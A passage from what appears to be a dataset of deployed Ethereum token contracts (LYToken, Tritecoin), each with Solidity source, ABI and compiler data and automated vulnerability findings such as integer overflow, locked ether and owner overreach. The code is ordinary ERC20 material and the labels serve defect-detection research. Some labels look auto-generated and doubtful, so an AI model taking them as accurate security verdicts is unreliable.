333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"SnowmanInu.sol": [121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 157, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 158, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 278, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 92, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 196, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 291, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 291, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 290, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 13, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 71, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 72, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 123, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 124, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 125, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 126, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 127, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 128, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 129, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 130, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 131, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 132, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 134, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 135, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 136, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 137, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 139, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 140, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 141, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 143, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 144, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 145, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 146, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 147, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 148, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 149, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 122, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 118, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 75, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 102, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 156, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 105, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 106, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 107, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 324, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.9+commit.e5eed63a | true | 200 | Default | Unlicense | false | ipfs://1e3f8263b4b83c59e347e136e1a9ebc09b2612ea089a6442f7d5d157cbe9b8de |
|||
LYToken | 0xe5371f27d3b555f48f79919c2df7c487d31c57b1 | Solidity | pragma solidity ^0.4.26;
library SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) view public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) view public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
mapping (address => uint256) public _balances;
mapping (address => mapping (address => uint256)) public _allowed;
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= _balances[msg.sender]);
require(_balances[_to] + _value > _balances[_to]);
_balances[msg.sender] = SafeMath.safeSub(_balances[msg.sender], _value);
_balances[_to] = SafeMath.safeAdd(_balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= _balances[_from]);
require(_value <= _allowed[_from][msg.sender]);
require(_balances[_to] + _value > _balances[_to]);
_balances[_to] = SafeMath.safeAdd(_balances[_to], _value);
_balances[_from] = SafeMath.safeSub(_balances[_from], _value);
_allowed[_from][msg.sender] = SafeMath.safeSub(_allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return _balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (_allowed[msg.sender][_spender] == 0));
_allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return _allowed[_owner][_spender];
}
}
contract LYToken is StandardToken {
function () public payable {
revert();
}
string public name = "LY";
uint8 public decimals = 18;
string public symbol = "LY";
uint256 public totalSupply = 100000000*10**uint256(decimals);
constructor() public {
_balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
} | [{"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["YToken.L90"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["31", "95", "97"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["98"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"LYToken.sol": [95]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"LYToken.sol": [97]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"LYToken.sol": [96]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"LYToken.sol": [31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LYToken.sol": [10, 11, 12, 13, 14, 15]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LYToken.sol": [4, 5, 6, 7, 8]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LYToken.sol": [39]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LYToken.sol": [41]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LYToken.sol": [37]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LYToken.sol": [91, 92, 93]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LYToken.sol": [35]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LYToken.sol": [33]}}, {"check": "function-init-state", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [98]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"LYToken.sol": [91, 92, 93]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [85]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [78]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [85]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [52]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [52]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [62]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [62]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [49]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [50]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [78]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [62]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LYToken.sol": [74]}}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High", "lines": {"LYToken.sol": [31]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"LYToken.sol": [98]}}] | [{"error": "Integer Underflow.", "line": 97, "level": "Warning"}, {"error": "Integer Underflow.", "line": 95, "level": "Warning"}] | [{"rule": "SOLIDITY_ERC20_APPROVE", "line": 78, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 90, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 91, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 91, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"_balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"_allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.26+commit.4563c3fc | false | 200 | Default | Apache-2.0 | false | bzzr://49659177cedbcca722777245ee5da20837fe96a48e9149c30d4b42a1a8d51da6 |
|||
Tritecoin | 0x511232281bcd64d15b08c7f78825c45968cadbbf | Solidity | pragma solidity 0.5.12;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
// allowedAddresses will be able to transfer even when locked
// lockedAddresses will *not* be able to transfer even when *not locked*
mapping(address => bool) public allowedAddresses;
mapping(address => bool) public lockedAddresses;
bool public locked = false;
function allowAddress(address _addr, bool _allowed) public onlyOwner {
require(_addr != owner());
allowedAddresses[_addr] = _allowed;
}
function lockAddress(address _addr, bool _locked) public onlyOwner {
require(_addr != owner());
lockedAddresses[_addr] = _locked;
}
function setLocked(bool _locked) public onlyOwner {
locked = _locked;
}
function canTransfer(address _addr) public view returns (bool) {
if (locked) {
if(!allowedAddresses[_addr] &&_addr != owner()) return false;
} else if (lockedAddresses[_addr]) return false;
return true;
}
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0) && to != address(this));
require(canTransfer(from) && canTransfer(msg.sender));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
}
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20 {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyOwner returns (bool) {
_mint(to, value);
return true;
}
}
contract Tritecoin is ERC20Mintable {
string public constant name = "Tritecoin";
string public constant symbol = "TRT";
uint256 public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public initialSupply = 6000000000 * (10 ** decimals);
constructor () public {
_mint(msg.sender, initialSupply);
}
function transferAnyERC20(address _tokenAddress, address _to, uint _amount) public onlyOwner {
IERC20(_tokenAddress).transfer(_to, _amount);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["389"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["377", "378"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["87", "121", "102", "109"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["382"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [382]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tritecoin.sol": [11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tritecoin.sol": [64, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tritecoin.sol": [32, 33, 34, 35, 28, 29, 30, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [185, 186, 187, 188]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [270, 271, 272, 273, 274]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [116, 117, 118, 119]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [304, 301, 302, 303]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [224, 225, 226]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [243, 244, 245, 246]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [195, 196, 197]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [288, 289, 286, 287]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [369, 370, 371, 372]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [388, 389, 390]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [216, 217, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [257, 258, 259, 260]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tritecoin.sol": [192, 193, 190, 191]}}, {"check": "external-function", "impact": "Optimization", 